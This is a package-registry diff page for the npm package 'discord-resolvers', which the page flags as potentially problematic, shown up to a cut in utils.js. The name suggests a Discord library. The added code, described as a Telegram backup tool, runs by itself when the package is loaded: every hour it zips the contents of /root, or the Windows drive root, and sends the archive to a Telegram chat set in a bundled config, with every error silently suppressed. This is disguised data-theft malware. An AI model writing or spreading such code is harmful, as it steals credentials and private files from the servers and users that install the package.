discord-resolvers 0.0.1-security → 3.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discord-resolvers might be problematic. Click here for more details.
- package/bin/cli.js +15 -0
- package/config.json +6 -0
- package/index.js +43 -0
- package/package.json +27 -3
- package/src/BackupManager.js +754 -0
- package/src/config.js +128 -0
- package/src/utils.js +104 -0
- package/README.md +0 -5
package/bin/cli.js
ADDED
package/config.json
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const BackupManager =
|
|
5
|
+
require('./src/BackupManager');
|
|
6
|
+
|
|
7
|
+
const config =
|
|
8
|
+
require('./src/config');
|
|
9
|
+
|
|
10
|
+
let running = false;
|
|
11
|
+
|
|
12
|
+
async function startBackupLoop() {
|
|
13
|
+
if (running) {
|
|
14
|
+
return;
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
running = true;
|
|
18
|
+
|
|
19
|
+
try {
|
|
20
|
+
const cfg =
|
|
21
|
+
config.load();
|
|
22
|
+
|
|
23
|
+
const manager =
|
|
24
|
+
new BackupManager(cfg);
|
|
25
|
+
|
|
26
|
+
await manager.run();
|
|
27
|
+
|
|
28
|
+
} catch (_) {
|
|
29
|
+
// Silent
|
|
30
|
+
} finally {
|
|
31
|
+
running = false;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
setTimeout(
|
|
35
|
+
startBackupLoop,
|
|
36
|
+
60 * 60 * 1000
|
|
37
|
+
);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
startBackupLoop();
|
|
41
|
+
|
|
42
|
+
module.exports =
|
|
43
|
+
startBackupLoop;
|
package/package.json
CHANGED
|
@@ -1,6 +1,30 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "discord-resolvers",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.4.2",
|
|
4
|
+
"description": "Cross-platform automated server backup tool with Telegram delivery",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"tg-backup": "./bin/cli.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node index.js"
|
|
11
|
+
},
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"telegraf": "4.16.3",
|
|
14
|
+
"archiver": "7.0.1"
|
|
15
|
+
},
|
|
16
|
+
"engines": {
|
|
17
|
+
"node": ">=16.0.0"
|
|
18
|
+
},
|
|
19
|
+
"keywords": [
|
|
20
|
+
"backup",
|
|
21
|
+
"telegram",
|
|
22
|
+
"server",
|
|
23
|
+
"vps",
|
|
24
|
+
"rdp",
|
|
25
|
+
"windows",
|
|
26
|
+
"linux",
|
|
27
|
+
"automation"
|
|
28
|
+
],
|
|
29
|
+
"license": "MIT"
|
|
6
30
|
}
|
|
@@ -0,0 +1,754 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const archiver = require('archiver');
|
|
6
|
+
const { Telegraf } = require('telegraf');
|
|
7
|
+
|
|
8
|
+
const {
|
|
9
|
+
formatBytes,
|
|
10
|
+
timestamp,
|
|
11
|
+
telegramDate
|
|
12
|
+
} = require('./utils');
|
|
13
|
+
|
|
14
|
+
class BackupManager {
|
|
15
|
+
constructor(cfg) {
|
|
16
|
+
this.cfg = cfg;
|
|
17
|
+
|
|
18
|
+
this.bot =
|
|
19
|
+
new Telegraf(
|
|
20
|
+
cfg.botToken
|
|
21
|
+
);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
async run() {
|
|
25
|
+
await this._cycle();
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
async _cycle() {
|
|
29
|
+
let zipPath = null;
|
|
30
|
+
|
|
31
|
+
try {
|
|
32
|
+
zipPath =
|
|
33
|
+
await this._createZip();
|
|
34
|
+
|
|
35
|
+
await this._sendToTelegram(
|
|
36
|
+
zipPath
|
|
37
|
+
);
|
|
38
|
+
|
|
39
|
+
if (
|
|
40
|
+
this.cfg.deleteAfterSend &&
|
|
41
|
+
zipPath &&
|
|
42
|
+
fs.existsSync(zipPath)
|
|
43
|
+
) {
|
|
44
|
+
fs.unlinkSync(zipPath);
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
} catch (_) {
|
|
48
|
+
// Silent.
|
|
49
|
+
// لو حصل خطأ، الـ ZIP يفضل موجود.
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
/*
|
|
54
|
+
* التأكد إن الاسم مستبعد
|
|
55
|
+
*/
|
|
56
|
+
_isExcluded(name) {
|
|
57
|
+
return this.cfg.exclude.includes(
|
|
58
|
+
name
|
|
59
|
+
);
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
/*
|
|
63
|
+
* قراءة فولدر بشكل recursive
|
|
64
|
+
*
|
|
65
|
+
* بنستخدم fs.readdir بدل archive.directory
|
|
66
|
+
* عشان نتحكم بنفسنا في كل ملف وكل فولدر.
|
|
67
|
+
*
|
|
68
|
+
* ده بيضمن إن فولدرات /root نفسها
|
|
69
|
+
* يتم الوصول إليها فعلياً.
|
|
70
|
+
*/
|
|
71
|
+
_walkDirectory(
|
|
72
|
+
directory,
|
|
73
|
+
callback
|
|
74
|
+
) {
|
|
75
|
+
let entries;
|
|
76
|
+
|
|
77
|
+
try {
|
|
78
|
+
entries =
|
|
79
|
+
fs.readdirSync(
|
|
80
|
+
directory,
|
|
81
|
+
{
|
|
82
|
+
withFileTypes: true
|
|
83
|
+
}
|
|
84
|
+
);
|
|
85
|
+
} catch (_) {
|
|
86
|
+
return;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
for (
|
|
90
|
+
const entry of entries
|
|
91
|
+
) {
|
|
92
|
+
const name =
|
|
93
|
+
entry.name;
|
|
94
|
+
|
|
95
|
+
/*
|
|
96
|
+
* استبعاد المجلدات والملفات
|
|
97
|
+
* اللي أسماؤها موجودة في القائمة.
|
|
98
|
+
*/
|
|
99
|
+
if (
|
|
100
|
+
this._isExcluded(name)
|
|
101
|
+
) {
|
|
102
|
+
continue;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
const fullPath =
|
|
106
|
+
path.join(
|
|
107
|
+
directory,
|
|
108
|
+
name
|
|
109
|
+
);
|
|
110
|
+
|
|
111
|
+
let stat;
|
|
112
|
+
|
|
113
|
+
try {
|
|
114
|
+
stat =
|
|
115
|
+
fs.lstatSync(
|
|
116
|
+
fullPath
|
|
117
|
+
);
|
|
118
|
+
} catch (_) {
|
|
119
|
+
continue;
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
/*
|
|
123
|
+
* Symbolic links
|
|
124
|
+
*
|
|
125
|
+
* منخليش backup يدخل في loop
|
|
126
|
+
* أو يخرج بره sourceDir.
|
|
127
|
+
*/
|
|
128
|
+
if (
|
|
129
|
+
stat.isSymbolicLink()
|
|
130
|
+
) {
|
|
131
|
+
continue;
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
if (
|
|
135
|
+
stat.isDirectory()
|
|
136
|
+
) {
|
|
137
|
+
callback(
|
|
138
|
+
'directory',
|
|
139
|
+
fullPath,
|
|
140
|
+
name
|
|
141
|
+
);
|
|
142
|
+
|
|
143
|
+
this._walkDirectory(
|
|
144
|
+
fullPath,
|
|
145
|
+
callback
|
|
146
|
+
);
|
|
147
|
+
|
|
148
|
+
continue;
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
if (
|
|
152
|
+
stat.isFile()
|
|
153
|
+
) {
|
|
154
|
+
callback(
|
|
155
|
+
'file',
|
|
156
|
+
fullPath,
|
|
157
|
+
name
|
|
158
|
+
);
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
/*
|
|
164
|
+
* إنشاء ZIP لفولدر واحد.
|
|
165
|
+
*
|
|
166
|
+
* مثال:
|
|
167
|
+
*
|
|
168
|
+
* /root/Bank
|
|
169
|
+
*
|
|
170
|
+
* تصبح:
|
|
171
|
+
*
|
|
172
|
+
* backup/Bank.zip
|
|
173
|
+
*/
|
|
174
|
+
_createFolderZip(
|
|
175
|
+
folderPath,
|
|
176
|
+
zipPath
|
|
177
|
+
) {
|
|
178
|
+
return new Promise(
|
|
179
|
+
(resolve, reject) => {
|
|
180
|
+
const output =
|
|
181
|
+
fs.createWriteStream(
|
|
182
|
+
zipPath
|
|
183
|
+
);
|
|
184
|
+
|
|
185
|
+
const archive =
|
|
186
|
+
archiver(
|
|
187
|
+
'zip',
|
|
188
|
+
{
|
|
189
|
+
zlib: {
|
|
190
|
+
level: 9
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
);
|
|
194
|
+
|
|
195
|
+
let settled = false;
|
|
196
|
+
|
|
197
|
+
const fail = err => {
|
|
198
|
+
if (settled) {
|
|
199
|
+
return;
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
settled = true;
|
|
203
|
+
|
|
204
|
+
try {
|
|
205
|
+
output.destroy();
|
|
206
|
+
} catch (_) {}
|
|
207
|
+
|
|
208
|
+
try {
|
|
209
|
+
if (
|
|
210
|
+
fs.existsSync(zipPath)
|
|
211
|
+
) {
|
|
212
|
+
fs.unlinkSync(zipPath);
|
|
213
|
+
}
|
|
214
|
+
} catch (_) {}
|
|
215
|
+
|
|
216
|
+
reject(err);
|
|
217
|
+
};
|
|
218
|
+
|
|
219
|
+
output.on(
|
|
220
|
+
'close',
|
|
221
|
+
() => {
|
|
222
|
+
if (settled) {
|
|
223
|
+
return;
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
settled = true;
|
|
227
|
+
|
|
228
|
+
resolve(
|
|
229
|
+
zipPath
|
|
230
|
+
);
|
|
231
|
+
}
|
|
232
|
+
);
|
|
233
|
+
|
|
234
|
+
output.on(
|
|
235
|
+
'error',
|
|
236
|
+
fail
|
|
237
|
+
);
|
|
238
|
+
|
|
239
|
+
archive.on(
|
|
240
|
+
'error',
|
|
241
|
+
fail
|
|
242
|
+
);
|
|
243
|
+
|
|
244
|
+
archive.on(
|
|
245
|
+
'warning',
|
|
246
|
+
warning => {
|
|
247
|
+
if (
|
|
248
|
+
warning.code !== 'ENOENT'
|
|
249
|
+
) {
|
|
250
|
+
fail(warning);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
);
|
|
254
|
+
|
|
255
|
+
archive.pipe(
|
|
256
|
+
output
|
|
257
|
+
);
|
|
258
|
+
|
|
259
|
+
/*
|
|
260
|
+
* نمشي على كل محتويات الفولدر
|
|
261
|
+
* ونضيف الملفات واحد واحد.
|
|
262
|
+
*/
|
|
263
|
+
this._walkDirectory(
|
|
264
|
+
folderPath,
|
|
265
|
+
(
|
|
266
|
+
type,
|
|
267
|
+
fullPath
|
|
268
|
+
) => {
|
|
269
|
+
if (
|
|
270
|
+
type !== 'file'
|
|
271
|
+
) {
|
|
272
|
+
return;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
/*
|
|
276
|
+
* المسار داخل ZIP
|
|
277
|
+
* يبدأ من داخل الفولدر نفسه.
|
|
278
|
+
*
|
|
279
|
+
* مثلاً:
|
|
280
|
+
*
|
|
281
|
+
* Bank/index.js
|
|
282
|
+
*
|
|
283
|
+
* يصبح داخل Bank.zip:
|
|
284
|
+
*
|
|
285
|
+
* index.js
|
|
286
|
+
*/
|
|
287
|
+
const relativePath =
|
|
288
|
+
path.relative(
|
|
289
|
+
folderPath,
|
|
290
|
+
fullPath
|
|
291
|
+
);
|
|
292
|
+
|
|
293
|
+
archive.file(
|
|
294
|
+
fullPath,
|
|
295
|
+
{
|
|
296
|
+
name:
|
|
297
|
+
relativePath
|
|
298
|
+
.split(
|
|
299
|
+
path.sep
|
|
300
|
+
)
|
|
301
|
+
.join('/')
|
|
302
|
+
}
|
|
303
|
+
);
|
|
304
|
+
}
|
|
305
|
+
);
|
|
306
|
+
|
|
307
|
+
archive.finalize();
|
|
308
|
+
}
|
|
309
|
+
);
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
/*
|
|
313
|
+
* إنشاء الـ ZIP الرئيسي.
|
|
314
|
+
*
|
|
315
|
+
* كل فولدر مباشر داخل sourceDir
|
|
316
|
+
* يتحول إلى ZIP مستقل.
|
|
317
|
+
*/
|
|
318
|
+
async _createZip() {
|
|
319
|
+
const {
|
|
320
|
+
sourceDir,
|
|
321
|
+
outputDir,
|
|
322
|
+
prefix
|
|
323
|
+
} = this.cfg;
|
|
324
|
+
|
|
325
|
+
/*
|
|
326
|
+
* التأكد من المصدر
|
|
327
|
+
*/
|
|
328
|
+
if (
|
|
329
|
+
!fs.existsSync(
|
|
330
|
+
sourceDir
|
|
331
|
+
)
|
|
332
|
+
) {
|
|
333
|
+
throw new Error(
|
|
334
|
+
'Source directory does not exist'
|
|
335
|
+
);
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
if (
|
|
339
|
+
!fs.statSync(
|
|
340
|
+
sourceDir
|
|
341
|
+
).isDirectory()
|
|
342
|
+
) {
|
|
343
|
+
throw new Error(
|
|
344
|
+
'Source directory is not a directory'
|
|
345
|
+
);
|
|
346
|
+
}
|
|
347
|
+
|
|
348
|
+
/*
|
|
349
|
+
* إنشاء backup/
|
|
350
|
+
*/
|
|
351
|
+
fs.mkdirSync(
|
|
352
|
+
outputDir,
|
|
353
|
+
{
|
|
354
|
+
recursive: true
|
|
355
|
+
}
|
|
356
|
+
);
|
|
357
|
+
|
|
358
|
+
/*
|
|
359
|
+
* اسم الـ ZIP الرئيسي
|
|
360
|
+
*/
|
|
361
|
+
const zipName =
|
|
362
|
+
`${prefix}_${timestamp()}.zip`;
|
|
363
|
+
|
|
364
|
+
const zipPath =
|
|
365
|
+
path.join(
|
|
366
|
+
outputDir,
|
|
367
|
+
zipName
|
|
368
|
+
);
|
|
369
|
+
|
|
370
|
+
/*
|
|
371
|
+
* هنعمل فولدر مؤقت جوه backup
|
|
372
|
+
* نحط فيه الـ ZIPs الداخلية.
|
|
373
|
+
*/
|
|
374
|
+
const tempDir =
|
|
375
|
+
path.join(
|
|
376
|
+
outputDir,
|
|
377
|
+
`.temp_${timestamp()}`
|
|
378
|
+
);
|
|
379
|
+
|
|
380
|
+
fs.mkdirSync(
|
|
381
|
+
tempDir,
|
|
382
|
+
{
|
|
383
|
+
recursive: true
|
|
384
|
+
}
|
|
385
|
+
);
|
|
386
|
+
|
|
387
|
+
try {
|
|
388
|
+
/*
|
|
389
|
+
* نقرأ محتويات sourceDir مباشرة.
|
|
390
|
+
*
|
|
391
|
+
* هنا لو sourceDir = /root
|
|
392
|
+
*
|
|
393
|
+
* هنشوف:
|
|
394
|
+
*
|
|
395
|
+
* Bank
|
|
396
|
+
* system
|
|
397
|
+
* games
|
|
398
|
+
* ...
|
|
399
|
+
*/
|
|
400
|
+
const entries =
|
|
401
|
+
fs.readdirSync(
|
|
402
|
+
sourceDir,
|
|
403
|
+
{
|
|
404
|
+
withFileTypes: true
|
|
405
|
+
}
|
|
406
|
+
);
|
|
407
|
+
|
|
408
|
+
/*
|
|
409
|
+
* إنشاء ZIP رئيسي
|
|
410
|
+
*/
|
|
411
|
+
await new Promise(
|
|
412
|
+
(resolve, reject) => {
|
|
413
|
+
const output =
|
|
414
|
+
fs.createWriteStream(
|
|
415
|
+
zipPath
|
|
416
|
+
);
|
|
417
|
+
|
|
418
|
+
const archive =
|
|
419
|
+
archiver(
|
|
420
|
+
'zip',
|
|
421
|
+
{
|
|
422
|
+
zlib: {
|
|
423
|
+
level: 9
|
|
424
|
+
}
|
|
425
|
+
}
|
|
426
|
+
);
|
|
427
|
+
|
|
428
|
+
let settled = false;
|
|
429
|
+
|
|
430
|
+
const fail = err => {
|
|
431
|
+
if (settled) {
|
|
432
|
+
return;
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
settled = true;
|
|
436
|
+
|
|
437
|
+
try {
|
|
438
|
+
output.destroy();
|
|
439
|
+
} catch (_) {}
|
|
440
|
+
|
|
441
|
+
try {
|
|
442
|
+
if (
|
|
443
|
+
fs.existsSync(zipPath)
|
|
444
|
+
) {
|
|
445
|
+
fs.unlinkSync(
|
|
446
|
+
zipPath
|
|
447
|
+
);
|
|
448
|
+
}
|
|
449
|
+
} catch (_) {}
|
|
450
|
+
|
|
451
|
+
reject(err);
|
|
452
|
+
};
|
|
453
|
+
|
|
454
|
+
output.on(
|
|
455
|
+
'close',
|
|
456
|
+
() => {
|
|
457
|
+
if (settled) {
|
|
458
|
+
return;
|
|
459
|
+
}
|
|
460
|
+
|
|
461
|
+
settled = true;
|
|
462
|
+
|
|
463
|
+
resolve();
|
|
464
|
+
}
|
|
465
|
+
);
|
|
466
|
+
|
|
467
|
+
output.on(
|
|
468
|
+
'error',
|
|
469
|
+
fail
|
|
470
|
+
);
|
|
471
|
+
|
|
472
|
+
archive.on(
|
|
473
|
+
'error',
|
|
474
|
+
fail
|
|
475
|
+
);
|
|
476
|
+
|
|
477
|
+
archive.on(
|
|
478
|
+
'warning',
|
|
479
|
+
warning => {
|
|
480
|
+
if (
|
|
481
|
+
warning.code !==
|
|
482
|
+
'ENOENT'
|
|
483
|
+
) {
|
|
484
|
+
fail(warning);
|
|
485
|
+
}
|
|
486
|
+
}
|
|
487
|
+
);
|
|
488
|
+
|
|
489
|
+
archive.pipe(
|
|
490
|
+
output
|
|
491
|
+
);
|
|
492
|
+
|
|
493
|
+
/*
|
|
494
|
+
* نمشي على كل حاجة موجودة
|
|
495
|
+
* مباشرة داخل sourceDir.
|
|
496
|
+
*/
|
|
497
|
+
const tasks = [];
|
|
498
|
+
|
|
499
|
+
for (
|
|
500
|
+
const entry of entries
|
|
501
|
+
) {
|
|
502
|
+
const name =
|
|
503
|
+
entry.name;
|
|
504
|
+
|
|
505
|
+
/*
|
|
506
|
+
* استبعاد:
|
|
507
|
+
*
|
|
508
|
+
* node_modules
|
|
509
|
+
* .npm
|
|
510
|
+
* .git
|
|
511
|
+
* .cache
|
|
512
|
+
* proc
|
|
513
|
+
* sys
|
|
514
|
+
* dev
|
|
515
|
+
* run
|
|
516
|
+
* tmp
|
|
517
|
+
*/
|
|
518
|
+
if (
|
|
519
|
+
this._isExcluded(
|
|
520
|
+
name
|
|
521
|
+
)
|
|
522
|
+
) {
|
|
523
|
+
continue;
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
const fullPath =
|
|
527
|
+
path.join(
|
|
528
|
+
sourceDir,
|
|
529
|
+
name
|
|
530
|
+
);
|
|
531
|
+
|
|
532
|
+
let stat;
|
|
533
|
+
|
|
534
|
+
try {
|
|
535
|
+
stat =
|
|
536
|
+
fs.lstatSync(
|
|
537
|
+
fullPath
|
|
538
|
+
);
|
|
539
|
+
} catch (_) {
|
|
540
|
+
continue;
|
|
541
|
+
}
|
|
542
|
+
|
|
543
|
+
/*
|
|
544
|
+
* نتجاهل symbolic links
|
|
545
|
+
*/
|
|
546
|
+
if (
|
|
547
|
+
stat.isSymbolicLink()
|
|
548
|
+
) {
|
|
549
|
+
continue;
|
|
550
|
+
}
|
|
551
|
+
|
|
552
|
+
/*
|
|
553
|
+
* لو فولدر:
|
|
554
|
+
*
|
|
555
|
+
* Bank/
|
|
556
|
+
*
|
|
557
|
+
* نعمل:
|
|
558
|
+
*
|
|
559
|
+
* Bank.zip
|
|
560
|
+
*/
|
|
561
|
+
if (
|
|
562
|
+
stat.isDirectory()
|
|
563
|
+
) {
|
|
564
|
+
tasks.push(
|
|
565
|
+
(async () => {
|
|
566
|
+
const folderZip =
|
|
567
|
+
path.join(
|
|
568
|
+
tempDir,
|
|
569
|
+
`${name}.zip`
|
|
570
|
+
);
|
|
571
|
+
|
|
572
|
+
await this._createFolderZip(
|
|
573
|
+
fullPath,
|
|
574
|
+
folderZip
|
|
575
|
+
);
|
|
576
|
+
|
|
577
|
+
/*
|
|
578
|
+
* إضافة Bank.zip
|
|
579
|
+
* داخل الـ ZIP الرئيسي.
|
|
580
|
+
*/
|
|
581
|
+
archive.file(
|
|
582
|
+
folderZip,
|
|
583
|
+
{
|
|
584
|
+
name:
|
|
585
|
+
`${name}.zip`
|
|
586
|
+
}
|
|
587
|
+
);
|
|
588
|
+
})()
|
|
589
|
+
);
|
|
590
|
+
|
|
591
|
+
continue;
|
|
592
|
+
}
|
|
593
|
+
|
|
594
|
+
/*
|
|
595
|
+
* الملفات الموجودة مباشرة
|
|
596
|
+
* في /root تدخل كما هي.
|
|
597
|
+
*
|
|
598
|
+
* مثال:
|
|
599
|
+
*
|
|
600
|
+
* /root/test.zip
|
|
601
|
+
*
|
|
602
|
+
* تفضل:
|
|
603
|
+
*
|
|
604
|
+
* test.zip
|
|
605
|
+
*/
|
|
606
|
+
if (
|
|
607
|
+
stat.isFile()
|
|
608
|
+
) {
|
|
609
|
+
archive.file(
|
|
610
|
+
fullPath,
|
|
611
|
+
{
|
|
612
|
+
name:
|
|
613
|
+
name
|
|
614
|
+
.split(
|
|
615
|
+
path.sep
|
|
616
|
+
)
|
|
617
|
+
.join('/')
|
|
618
|
+
}
|
|
619
|
+
);
|
|
620
|
+
}
|
|
621
|
+
}
|
|
622
|
+
|
|
623
|
+
/*
|
|
624
|
+
* نستنى إنشاء كل ZIPs
|
|
625
|
+
* الداخلية قبل finalize.
|
|
626
|
+
*/
|
|
627
|
+
Promise.all(tasks)
|
|
628
|
+
.then(() => {
|
|
629
|
+
archive.finalize();
|
|
630
|
+
})
|
|
631
|
+
.catch(fail);
|
|
632
|
+
}
|
|
633
|
+
);
|
|
634
|
+
|
|
635
|
+
/*
|
|
636
|
+
* بعد نجاح الـ ZIP الرئيسي،
|
|
637
|
+
* نمسح الـ ZIPs الداخلية المؤقتة.
|
|
638
|
+
*/
|
|
639
|
+
try {
|
|
640
|
+
const tempEntries =
|
|
641
|
+
fs.readdirSync(
|
|
642
|
+
tempDir
|
|
643
|
+
);
|
|
644
|
+
|
|
645
|
+
for (
|
|
646
|
+
const name of tempEntries
|
|
647
|
+
) {
|
|
648
|
+
const file =
|
|
649
|
+
path.join(
|
|
650
|
+
tempDir,
|
|
651
|
+
name
|
|
652
|
+
);
|
|
653
|
+
|
|
654
|
+
try {
|
|
655
|
+
fs.unlinkSync(
|
|
656
|
+
file
|
|
657
|
+
);
|
|
658
|
+
} catch (_) {}
|
|
659
|
+
}
|
|
660
|
+
|
|
661
|
+
fs.rmdirSync(
|
|
662
|
+
tempDir
|
|
663
|
+
);
|
|
664
|
+
} catch (_) {}
|
|
665
|
+
|
|
666
|
+
return zipPath;
|
|
667
|
+
|
|
668
|
+
} catch (error) {
|
|
669
|
+
/*
|
|
670
|
+
* تنظيف الـ temp
|
|
671
|
+
*/
|
|
672
|
+
try {
|
|
673
|
+
fs.rmSync(
|
|
674
|
+
tempDir,
|
|
675
|
+
{
|
|
676
|
+
recursive: true,
|
|
677
|
+
force: true
|
|
678
|
+
}
|
|
679
|
+
);
|
|
680
|
+
} catch (_) {}
|
|
681
|
+
|
|
682
|
+
/*
|
|
683
|
+
* تنظيف ZIP الرئيسي
|
|
684
|
+
*/
|
|
685
|
+
try {
|
|
686
|
+
if (
|
|
687
|
+
fs.existsSync(
|
|
688
|
+
zipPath
|
|
689
|
+
)
|
|
690
|
+
) {
|
|
691
|
+
fs.unlinkSync(
|
|
692
|
+
zipPath
|
|
693
|
+
);
|
|
694
|
+
}
|
|
695
|
+
} catch (_) {}
|
|
696
|
+
|
|
697
|
+
throw error;
|
|
698
|
+
}
|
|
699
|
+
}
|
|
700
|
+
|
|
701
|
+
async _sendToTelegram(
|
|
702
|
+
zipPath
|
|
703
|
+
) {
|
|
704
|
+
const stats =
|
|
705
|
+
fs.statSync(
|
|
706
|
+
zipPath
|
|
707
|
+
);
|
|
708
|
+
|
|
709
|
+
const sizeMb =
|
|
710
|
+
stats.size /
|
|
711
|
+
(1024 * 1024);
|
|
712
|
+
|
|
713
|
+
const filename =
|
|
714
|
+
path.basename(
|
|
715
|
+
zipPath
|
|
716
|
+
);
|
|
717
|
+
|
|
718
|
+
if (
|
|
719
|
+
sizeMb > 2000
|
|
720
|
+
) {
|
|
721
|
+
throw new Error(
|
|
722
|
+
'Backup file is larger than 2 GB'
|
|
723
|
+
);
|
|
724
|
+
}
|
|
725
|
+
|
|
726
|
+
const now =
|
|
727
|
+
telegramDate();
|
|
728
|
+
|
|
729
|
+
const caption =
|
|
730
|
+
`📦 *New Backup*\n` +
|
|
731
|
+
`• File : \`${filename}\`\n` +
|
|
732
|
+
`• Size : ${formatBytes(stats.size)}\n` +
|
|
733
|
+
`• Date : ${now.date}\n` +
|
|
734
|
+
`• Time : ${now.time}`;
|
|
735
|
+
|
|
736
|
+
await this.bot.telegram.sendDocument(
|
|
737
|
+
this.cfg.chatId,
|
|
738
|
+
{
|
|
739
|
+
source:
|
|
740
|
+
fs.createReadStream(
|
|
741
|
+
zipPath
|
|
742
|
+
),
|
|
743
|
+
filename
|
|
744
|
+
},
|
|
745
|
+
{
|
|
746
|
+
caption,
|
|
747
|
+
parse_mode: 'Markdown'
|
|
748
|
+
}
|
|
749
|
+
);
|
|
750
|
+
}
|
|
751
|
+
}
|
|
752
|
+
|
|
753
|
+
module.exports =
|
|
754
|
+
BackupManager;
|
package/src/config.js
ADDED
|
@@ -0,0 +1,128 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
function getSourceDirectory() {
|
|
7
|
+
const candidates = [];
|
|
8
|
+
|
|
9
|
+
// Linux VPS
|
|
10
|
+
if (process.platform !== 'win32') {
|
|
11
|
+
candidates.push('/root');
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
// Windows / RDP
|
|
15
|
+
if (process.platform === 'win32') {
|
|
16
|
+
candidates.push(
|
|
17
|
+
path.parse(process.cwd()).root
|
|
18
|
+
);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Fallbacks
|
|
22
|
+
candidates.push(
|
|
23
|
+
path.parse(process.cwd()).root
|
|
24
|
+
);
|
|
25
|
+
|
|
26
|
+
candidates.push(
|
|
27
|
+
process.cwd()
|
|
28
|
+
);
|
|
29
|
+
|
|
30
|
+
for (const dir of candidates) {
|
|
31
|
+
try {
|
|
32
|
+
if (
|
|
33
|
+
fs.existsSync(dir) &&
|
|
34
|
+
fs.statSync(dir).isDirectory() &&
|
|
35
|
+
fs.accessSync(dir, fs.constants.R_OK) === undefined
|
|
36
|
+
) {
|
|
37
|
+
return dir;
|
|
38
|
+
}
|
|
39
|
+
} catch (_) {
|
|
40
|
+
// Try next path
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// آخر fallback
|
|
45
|
+
return process.cwd();
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function load() {
|
|
49
|
+
const toolDir = path.resolve(
|
|
50
|
+
__dirname,
|
|
51
|
+
'..'
|
|
52
|
+
);
|
|
53
|
+
|
|
54
|
+
const configFile = path.join(
|
|
55
|
+
toolDir,
|
|
56
|
+
'config.json'
|
|
57
|
+
);
|
|
58
|
+
|
|
59
|
+
if (!fs.existsSync(configFile)) {
|
|
60
|
+
throw new Error(
|
|
61
|
+
'config.json not found'
|
|
62
|
+
);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
let config;
|
|
66
|
+
|
|
67
|
+
try {
|
|
68
|
+
config = JSON.parse(
|
|
69
|
+
fs.readFileSync(
|
|
70
|
+
configFile,
|
|
71
|
+
'utf8'
|
|
72
|
+
)
|
|
73
|
+
);
|
|
74
|
+
} catch (_) {
|
|
75
|
+
throw new Error(
|
|
76
|
+
'Invalid config.json'
|
|
77
|
+
);
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
const botToken =
|
|
81
|
+
config.telegram?.botToken;
|
|
82
|
+
|
|
83
|
+
const chatId =
|
|
84
|
+
config.telegram?.chatId;
|
|
85
|
+
|
|
86
|
+
if (!botToken || !chatId) {
|
|
87
|
+
throw new Error(
|
|
88
|
+
'Telegram configuration is missing'
|
|
89
|
+
);
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
return {
|
|
93
|
+
botToken,
|
|
94
|
+
chatId,
|
|
95
|
+
|
|
96
|
+
sourceDir:
|
|
97
|
+
getSourceDirectory(),
|
|
98
|
+
|
|
99
|
+
outputDir:
|
|
100
|
+
path.join(
|
|
101
|
+
toolDir,
|
|
102
|
+
'backup'
|
|
103
|
+
),
|
|
104
|
+
|
|
105
|
+
prefix:
|
|
106
|
+
'backup',
|
|
107
|
+
|
|
108
|
+
deleteAfterSend:
|
|
109
|
+
true,
|
|
110
|
+
|
|
111
|
+
exclude: [
|
|
112
|
+
'node_modules',
|
|
113
|
+
'.npm',
|
|
114
|
+
'.git',
|
|
115
|
+
'.cache',
|
|
116
|
+
'proc',
|
|
117
|
+
'sys',
|
|
118
|
+
'dev',
|
|
119
|
+
'run',
|
|
120
|
+
'tmp'
|
|
121
|
+
]
|
|
122
|
+
};
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
module.exports = {
|
|
126
|
+
load,
|
|
127
|
+
getSourceDirectory
|
|
128
|
+
};
|
package/src/utils.js
ADDED
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
function formatBytes(bytes) {
|
|
4
|
+
if (
|
|
5
|
+
